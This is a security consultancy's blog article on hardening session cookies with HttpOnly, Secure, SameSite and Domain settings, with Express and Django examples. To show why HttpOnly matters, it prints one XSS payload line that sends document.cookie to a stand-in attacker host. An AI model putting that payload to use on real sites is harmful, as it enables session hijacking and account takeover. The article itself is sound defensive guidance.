Cybreach Consulting Prendre RDV
Back to articles
Vulnerabilities

Session cookies: HttpOnly, Secure, SameSite and the oversights that cost you

The session cookie is the key that lets your application recognise an authenticated user from one request to the next. If an attacker gets hold of it, they don't need your password: replaying the cookie is enough to be logged in as you. Four attributes determine under what conditions this theft is possible. Each one is a single line of configuration.

HttpOnly: making the cookie invisible to JavaScript

Without the HttpOnly attribute, the session cookie is accessible to JavaScript via document.cookie. Any script running on your page, including one injected by XSS, can read it and send it to a remote server. This is the most common session theft vector.

Cookie theft without HttpOnly (XSS payload)

// Un attaquant injecte ce script via XSS :
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);

// Avec HttpOnly, document.cookie ne contient plus le cookie de session.
// Le vol de session via XSS devient impossible.

HttpOnly doesn't prevent XSS, but it removes the most common impact: session theft. The cookie is still automatically sent by the browser with every request, but it can no longer be read by JavaScript. This is an indispensable defence-in-depth measure.

Secure: only travel over HTTPS

The Secure attribute forbids the browser from sending the cookie over unencrypted HTTP connections. Without this attribute, if a user accesses your site via HTTP (by mistake, via redirect, or because HSTS isn't configured), the session cookie travels in the clear across the network. An attacker intercepting the traffic recovers the session immediately.

This vector is particularly realistic on open Wi-Fi networks (cafés, hotels, conferences) where passive interception of HTTP traffic is trivial. Secure costs nothing to enable if your site is already on HTTPS.

SameSite: blocking cross-site requests

The SameSite attribute controls in which situations the browser sends the cookie in cross-site requests. Without it, the browser attaches the cookie to any request to your domain, even if that request was initiated from another site. This is the mechanism CSRF attacks exploit.

There are three values: Strict : the cookie is never sent in cross-site requests (including when clicking a link from another site). Lax : the cookie is sent in top-level navigations (clicking a link) but not in sub-requests (img, fetch, XHR). None : no restriction, the cookie is always sent (requires Secure).

SameSite=Lax has been the default in modern browsers since 2020, but it's better to declare it explicitly rather than relying on this implicit behaviour. SameSite=Strict is safer but can cause UX issues: a user clicking a link in an email to your application won't be recognised as logged in.

Domain scope: don't overshare

The Domain attribute of a cookie determines which domains it is sent to. If you set Domain=.example.com (with the dot), the cookie is sent to all subdomains: app.example.com, admin.example.com, api.example.com. If any of those subdomains is compromised or hosts third-party content, your session cookie is exposed there.

The basic rule: don't define the Domain attribute at all. Without it, the cookie is only sent to the exact domain that created it, not to subdomains. This is the most restrictive and safest behaviour.

Recommended complete configuration

Secure Set-Cookie header

Set-Cookie: sessionId=<valeur>; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

Node.js / Express example

app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,        // true uniquement si HTTPS
    sameSite: 'strict',
    maxAge: 60 * 60 * 1000  // 1 heure
  }
}));

Django example (settings.py)

SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True     # True si HTTPS
SESSION_COOKIE_SAMESITE = 'Strict'
SESSION_COOKIE_AGE = 3600       # 1 heure en secondes

Summary

  1. HttpOnly: prevents JavaScript from reading the cookie. Eliminates the session theft vector via XSS
  2. Secure: forbids sending the cookie over HTTP. Required if your site is on HTTPS
  3. SameSite=Strict: blocks sending the cookie in cross-site requests. Protection against CSRF
  4. Don't define Domain: limits the cookie to the exact domain that created it, not subdomains
  5. Path=/ and Max-Age: limit the scope and lifetime to reduce the exposure window

A question after reading?

Your session cookies are misconfigured? Send a message, let's talk.

Or book a 30-minute scoping call directly

Book a call